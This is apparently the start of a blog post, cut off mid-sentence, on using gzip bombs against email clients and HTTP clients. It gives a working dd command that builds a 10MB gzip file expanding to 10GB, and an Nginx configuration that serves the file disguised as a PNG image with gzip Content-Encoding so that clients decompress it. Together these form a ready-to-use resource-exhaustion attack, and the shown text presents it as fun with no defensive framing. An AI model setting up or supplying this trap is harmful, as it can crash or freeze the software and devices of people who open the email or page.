Fun with gzip bombs and email clients
Gzip/Zip bombs have been a thing for decades. Lets create a 10MB gzip file which decompresses to 10GB: dd if =/dev/zero bs =1G count =10 | gzip > 10gb.gz This is called a Gzip bomb, because when it is decompressed, it blows up to a much larger size (~1000 larger). Add it your website document root and configure Nginx to serve it up as an image, with gzip Content-Encoding: location /10gb.png { default_type image/png; add_header Content-Encoding gzip; try_files /10gb.gz = 404 ; } An HTTP clien